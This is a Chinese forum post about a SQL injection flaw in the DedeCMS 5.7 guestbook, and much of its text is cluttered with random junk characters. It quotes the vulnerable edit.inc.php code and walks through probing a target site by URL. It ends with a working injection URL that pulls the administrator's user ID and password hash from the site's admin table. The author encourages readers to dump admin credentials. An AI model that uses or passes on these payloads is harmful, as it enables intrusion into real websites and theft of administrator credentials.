找回密码
 立即注册
查看: 4999|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
4 I  ?2 V% F7 I6 @$ X$ V9 {0 r7 z& A) V9 {, `5 n
漏洞文件edit.inc.php具体代码:, ]) a. b, v* R+ r- i, ]7 R
/ [; @  Y6 {4 \
< ?php  
, N5 z2 P9 K6 a/ V" z! i4 |1 |  M1 ^; H9 a" g8 L7 b, o- A2 h
if(!defined('DEDEINC')) exit('Request Error!');  . X$ l3 ?% v: ^0 h$ W$ G0 P
/ j4 p  v1 m! [* S+ }
   
3 ?0 `5 C- w8 {0 ~2 T: x( S- J0 U3 o
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
' ~) V4 D1 [0 @4 [( z3 h( ]0 K+ Q+ a$ A, y
else $GUEST_BOOK_POS = "guestbook.php";  % |- u8 ]. T" e% _  ~, X2 c
, v0 V" L: G9 t) A/ S
   & [. ]4 N4 M  r9 |& ?

6 C  @. T$ u/ j1 [( _$id = intval($id);  ! A6 C2 e$ v* D  g9 N5 h
4 [. `' B  ^- V3 A7 ~2 ]
if(empty($job)) $job='view';  
  G: F" p/ E& `0 I) h& |8 |
: c0 ^. A& U( h0 N( T: F   
9 S8 N9 i0 S7 K5 }( h4 T) n4 P1 X4 s' I0 r8 [
if($job=='del' && $g_isadmin)  
+ C& x$ ^1 C4 C  J
& X- E4 o9 }7 Z, _{  
" I7 V$ t- R( m
+ D( G2 ~+ @$ \& I$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
% S" ?" r# M+ h3 Z' z) F
* J2 E, c! p1 j' O% Z! I; CShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
' Z& b' B, k/ q: A/ J7 c, F) z, @* V; g$ e
exit();  ( j1 [% a4 `- ^

' w3 a( f" x/ \' E/ v+ J* Z% j}    K* [0 C0 k7 T6 t

+ ~! P2 P/ i$ _9 \. r$ M5 Z6 Delse if($job=='check' && $g_isadmin)  # M% R8 B0 F( x3 O( ^0 V) `+ [

1 c0 O/ K' D# l% Q) S$ e{  5 }1 \: c+ I4 z6 a4 }
0 ]  o& Z7 D& U6 C0 }' M
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  0 S3 o2 k6 O9 ]" T2 y
* s" _9 B+ l0 j
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  ( s! @4 X$ G5 L" a

9 _* ?9 p& I; B5 J! b1 `. T  Yexit();  + ^2 e% T8 U( L

) K1 C6 y; @5 X; P}  $ d* |+ n% e( B$ o+ J4 Y

4 g- f/ a! I+ j, Lelse if($job=='editok')  ' p2 d7 Z* I4 S7 y, O1 @6 R
  r2 Q0 U3 ^- ]% x2 P
{  2 k  \" n/ V: a2 k1 c
8 C4 B3 ^, K2 R
$remsg = trim($remsg);  
; K. c* j+ k4 c& y! k0 u" U& U6 w) N, f$ m/ g8 ?
if($remsg!='')  
* F7 {3 K9 l+ i% C( r; `% N# t/ _4 l; |8 l' f
{  , e# Z$ r9 y8 e$ S; G/ l$ F
: L' b( C) a6 ]! k! A: w
//管理员回复不过滤HTML By:Errorera blog:errs.cc  ; U' ]/ O: ?' S7 p! `

. d" ]# h' U2 b5 v% j+ ~6 uif($g_isadmin)  4 z  X$ ^4 M! F: S- W: Y

* E7 ^5 A8 p+ I3 u2 Y$ u- g. q{  
$ o2 T, h8 ^& ?2 C- o/ T  T+ D( F1 E! L8 q0 [' t
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
- n9 E  l: j" f8 e5 i0 p% N+ n1 Q
7 R8 S$ _$ R7 E! }2 Q//$remsg <br /><font color=red>管理员回复:</font> }  
8 N/ L/ |$ G2 G: M: Q: ?; `! p% {, {3 y# ?! d
else ( H* E9 K' O/ q% G  Q
8 B6 S, y" H; a! O6 g9 y9 q( i
{  3 a% }8 K" Z% N1 f% `
' D' H! f! \3 J, [  X% f4 {
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
" k# K+ C3 M( S4 Z( ]8 K: r* ~9 W; h* G- \  x
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
. m5 u; M$ y/ y% D( e
0 H$ ~, |. T( q$ ^2 P$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  ( }% \1 z8 \) B% A+ p

5 F( l+ y+ X3 O# m5 F+ `: y$msg = $oldmsg.$remsg;  - ]- v0 B- V5 T2 m! C2 `7 F" `

+ D$ F8 F. ~4 G- W; w) g# O6 _1 j}  
! v; b2 p/ Y9 o% ?
: r5 @1 V/ t' v. q0 p}  
7 s+ o8 d9 [" W$ E( c  r2 O( n$ Q
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  # w, B+ v7 p8 a# P  G* L
6 H4 H) ~1 V6 N9 R# e+ t
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
6 j: h) U* ?6 [( M7 q% g
7 g! K! h$ h1 A3 n3 XShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
  y0 S! R6 j! B" V$ B/ i" u& M/ B1 e8 W! |: R
exit();  3 \$ d0 u, L4 _0 J$ X
! ?* f/ Q% B: |5 p: l% g
}  
2 V* W2 N) Q+ Q: \0 Q! h( K7 {! C& t& d+ W' A
//home:www.errs.cc  
  b8 F& @4 B$ l: Y+ D) J; b) e0 D: V: m. K. b6 u9 x
if($g_isadmin)  
# X: Z2 K$ g2 E" ?. N4 {
$ r8 B# G4 I0 \( e$ Q1 i{  
& F: ]* }' _" n' \5 O( B6 p
) a$ k% ?( ^6 S, }$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  $ H" q! D  i; R$ D* Q2 q0 x

  `8 f) T' @% `4 G8 G1 s1 drequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
6 k# V* F1 q& F, o! |7 `" H; k. z, [+ C" h
; \- A7 ~1 ?) e) }}  ( J9 p9 x% D6 i# z8 m% T

7 e8 l2 @; q* Felse : [( ^8 O2 A3 u$ S% w
6 m; y' M0 P% P6 k2 v
{  
/ s9 a! {- I) \& z; c. f* [$ }+ V7 P. |$ \( w0 `! K% F
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  / O/ F+ v" T# z/ F, i

9 M* y+ s/ ]9 Yrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  1 S% [# C# h: N" q6 S$ u2 x

' s/ k) S8 j6 |: _/ {1 W5 f} 漏洞成功需要条件:% o! U% K9 J4 K, T* v$ V7 a
1. php magic_quotes_gpc=off" B. M& a. X7 V8 S# v. {' i
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
) `1 W* v' S, R3 ~& P  s
1 c  Q9 ^6 K" j- E怎么判断是否存在漏洞:( I: Y# j* t3 y# O  L
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,' E) r) `) n  R5 ~0 J8 G8 n! `
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
" n1 j- ]; ^1 w+ i4 \! S6 ]) F访问:
7 Z; ~1 S) e+ x8 o# B$ b
7 N9 C0 k8 P  w: {5 F4 Swww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了0 `6 ]) D  G/ T- T! q4 z9 U
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证( N/ u$ U1 Q" Q* }  X
- e$ F* o6 ^; r9 H! X2 b

6 @) O& V$ F" ]3 N' D0 z! }1 r) v明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
- i& T6 w5 L) z- K% g! `, ]如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。- _  H  _4 o: s/ Y, i
那么再次访问
, o4 G3 f& y* Q! j, M- P
% r% y' x* i0 k: d; R* ywww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
/ y( D6 `7 W" w  X* s
  C; {, v. i. c0 a! _( w大概利用就是这样,大家有兴趣的多研究下!!
7 `, ]6 p+ ^7 D# Q4 t
, y( M2 R  Q0 P( P" l最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
, b( ?0 g" S- U$ R6 S
( M! X3 p1 t  d; k. ~$ Uview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表